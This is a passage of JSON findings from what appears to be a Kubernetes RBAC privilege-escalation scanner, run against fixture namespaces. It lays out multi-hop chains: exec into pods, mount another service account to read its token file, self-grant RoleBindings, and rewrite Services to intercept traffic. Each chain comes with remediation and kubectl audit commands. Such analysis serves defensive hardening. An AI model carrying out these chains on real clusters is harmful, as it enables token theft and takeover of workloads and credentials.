      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_exec",
        "technique": "KUBE-PRIVESC-004",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-exec",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "create,get pods/exec|pods/attach",
        "gains": "can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create",
        "source_binding": "crb-pod-exec",
        "source_role": "cr-pod-exec"
      },
      {
        "step": 2,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 3,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "deepchain-tenant"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/privesc-fixtures/sa-pod-exec:namespace_admin:rbac-ns-fixtures",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 6.6499999999999995,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-exec` can reach **namespace-admin in `rbac-ns-fixtures`** in 3 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-exec` has a privesc path that ends at namespace-admin inside `rbac-ns-fixtures`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `rbac-ns-fixtures` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `pod_exec` (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create\n  2. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate\n  3. `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-exec",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "rbac-ns-fixtures",
      "namespace": "rbac-ns-fixtures"
    },
    "namespace": "rbac-ns-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-exec` → namespace-admin in `rbac-ns-fixtures`: every workload, Secret, and ConfigMap inside `rbac-ns-fixtures` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-pod-exec` yields full takeover of `rbac-ns-fixtures`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/privesc-fixtures/sa-pod-exec` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-exec`, the attacker uses `pods/exec` (`create,get pods/exec|pods/attach`) to open a shell inside `ServiceAccount/rbac-fixtures/sa-pod-create` and inherit whatever ServiceAccount or host privileges that container holds.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `rbac-ns-fixtures`. They read every Secret and ConfigMap in `rbac-ns-fixtures`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_exec [create,get pods/exec|pods/attach]",
        "2. pod_create_token_theft [create pods]",
        "3. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "pod_exec",
      "hop_count": 3,
      "target": "namespace_admin",
      "target_namespace": "rbac-ns-fixtures",
      "techniques": [
        "pod_exec",
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `rbac-ns-fixtures`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 3 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:privesc-fixtures:sa-pod-exec` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 3 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `rbac-ns-fixtures` granting RBAC writes: `kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `rbac-ns-fixtures` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_exec",
        "technique": "KUBE-PRIVESC-004",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-exec",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "create,get pods/exec|pods/attach",
        "gains": "can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create",
        "source_binding": "crb-pod-exec",
        "source_role": "cr-pod-exec"
      },
      {
        "step": 2,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 3,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "rbac-ns-fixtures"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT:ServiceAccount/privesc-fixtures/sa-ephemeral:traffic_intercept",
    "rule_id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT",
    "severity": "HIGH",
    "score": 6.6,
    "category": "lateral_movement",
    "title": "`ServiceAccount/privesc-fixtures/sa-ephemeral` can **intercept in-cluster Service traffic** in 3 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-ephemeral` has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's `podIP`, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.\n\nThe chain (3 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `ephemeral_container_inject` (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create\n  2. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator\n  3. `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/` via `service_backend_rewrite` (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses\n\nWhat this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: `hard` when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, `moderate` when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-ephemeral",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-ephemeral` → `Service traffic interception`"
    },
    "impact": "Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/privesc-fixtures/sa-ephemeral`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-ephemeral`, the attacker uses the `ephemeral_container_inject` technique to reach `ServiceAccount/rbac-fixtures/sa-pod-create` via `update,patch pods/ephemeralcontainers`, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/hookbackend-fixtures/hookbackend-operator` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/hookbackend-fixtures/hookbackend-operator`, the attacker rewrites a Service's spec (`get,list,patch services`): its selector, so it points at pods the attacker controls, its ports, or its type (an `ExternalName` sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.",
      "Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in `Authorization` headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side."
    ],
    "evidence": {
      "chain_summary": [
        "1. ephemeral_container_inject [update,patch pods/ephemeralcontainers]",
        "2. pod_create_token_theft [create pods]",
        "3. service_backend_rewrite [get,list,patch services]"
      ],
      "first_action": "ephemeral_container_inject",
      "hop_count": 3,
      "target": "traffic_intercept",
      "target_namespace": "",
      "techniques": [
        "ephemeral_container_inject",
        "pod_create_token_theft",
        "service_backend_rewrite"
      ]
    },
    "remediation": "Remove write access to `pods/status` (and to `endpointslices`, `endpoints`, and `services`) from identities that are not the kubelet or a core controller, then break the chain at: remove the `create pods` capability that enables hop 2 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator`).",
    "remediation_steps": [
      "Break the chain at: remove the `create pods` capability that enables hop 2 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator`).",
      "Audit who can write pod status: `kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == \"pods/status\") | \"\\(.kind) \\(.metadata.namespace // \"-\")/\\(.metadata.name)\"'`. Expect `system:node` and a handful of `system:controller:*` roles, nothing bound to a workload.",
      "Alert on `pods/status` writes from identities that are not `system:node:*`: the audit event's `user.username` and `objectRef.subresource` fields identify them directly.",
      "For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.",
      "Avoid `publishNotReadyAddresses: true` on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — EndpointSlices (how Service backends are derived from pod status)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1040",
        "name": "Network Sniffing",
        "url": "https://attack.mitre.org/techniques/T1040/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "ephemeral_container_inject",
        "technique": "KUBE-PRIVESC-013",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "update,patch pods/ephemeralcontainers",
        "gains": "can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create",
        "source_binding": "crb-ephemeral",
        "source_role": "cr-ephemeral"
      },
      {
        "step": 2,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 3,
        "action": "service_backend_rewrite",
        "technique": "KUBE-PRIVESC-022",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list,patch services",
        "gains": "can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses",
        "source_binding": "hookbackend-operator",
        "source_role": "hookbackend-operator",
        "binding_namespace": "hookbackend-fixtures"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:traffic_intercept"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT:ServiceAccount/privesc-fixtures/sa-pod-exec:traffic_intercept",
    "rule_id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT",
    "severity": "HIGH",
    "score": 6.6,
    "category": "lateral_movement",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-exec` can **intercept in-cluster Service traffic** in 3 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-exec` has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's `podIP`, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.\n\nThe chain (3 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `pod_exec` (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create\n  2. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator\n  3. `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/` via `service_backend_rewrite` (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses\n\nWhat this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: `hard` when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, `moderate` when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-exec",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-exec` → `Service traffic interception`"
    },
    "impact": "Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/privesc-fixtures/sa-pod-exec`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-exec`, the attacker uses `pods/exec` (`create,get pods/exec|pods/attach`) to open a shell inside `ServiceAccount/rbac-fixtures/sa-pod-create` and inherit whatever ServiceAccount or host privileges that container holds.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/hookbackend-fixtures/hookbackend-operator` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/hookbackend-fixtures/hookbackend-operator`, the attacker rewrites a Service's spec (`get,list,patch services`): its selector, so it points at pods the attacker controls, its ports, or its type (an `ExternalName` sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.",
      "Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in `Authorization` headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_exec [create,get pods/exec|pods/attach]",
        "2. pod_create_token_theft [create pods]",
        "3. service_backend_rewrite [get,list,patch services]"
      ],
      "first_action": "pod_exec",
      "hop_count": 3,
      "target": "traffic_intercept",
      "target_namespace": "",
      "techniques": [
        "pod_exec",
        "pod_create_token_theft",
        "service_backend_rewrite"
      ]
    },
    "remediation": "Remove write access to `pods/status` (and to `endpointslices`, `endpoints`, and `services`) from identities that are not the kubelet or a core controller, then break the chain at: remove the `create pods` capability that enables hop 2 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator`).",
    "remediation_steps": [
      "Break the chain at: remove the `create pods` capability that enables hop 2 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator`).",
      "Audit who can write pod status: `kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == \"pods/status\") | \"\\(.kind) \\(.metadata.namespace // \"-\")/\\(.metadata.name)\"'`. Expect `system:node` and a handful of `system:controller:*` roles, nothing bound to a workload.",
      "Alert on `pods/status` writes from identities that are not `system:node:*`: the audit event's `user.username` and `objectRef.subresource` fields identify them directly.",
      "For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.",
      "Avoid `publishNotReadyAddresses: true` on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — EndpointSlices (how Service backends are derived from pod status)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1040",
        "name": "Network Sniffing",
        "url": "https://attack.mitre.org/techniques/T1040/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_exec",
        "technique": "KUBE-PRIVESC-004",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-exec",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "create,get pods/exec|pods/attach",
        "gains": "can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create",
        "source_binding": "crb-pod-exec",
        "source_role": "cr-pod-exec"
      },
      {
        "step": 2,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
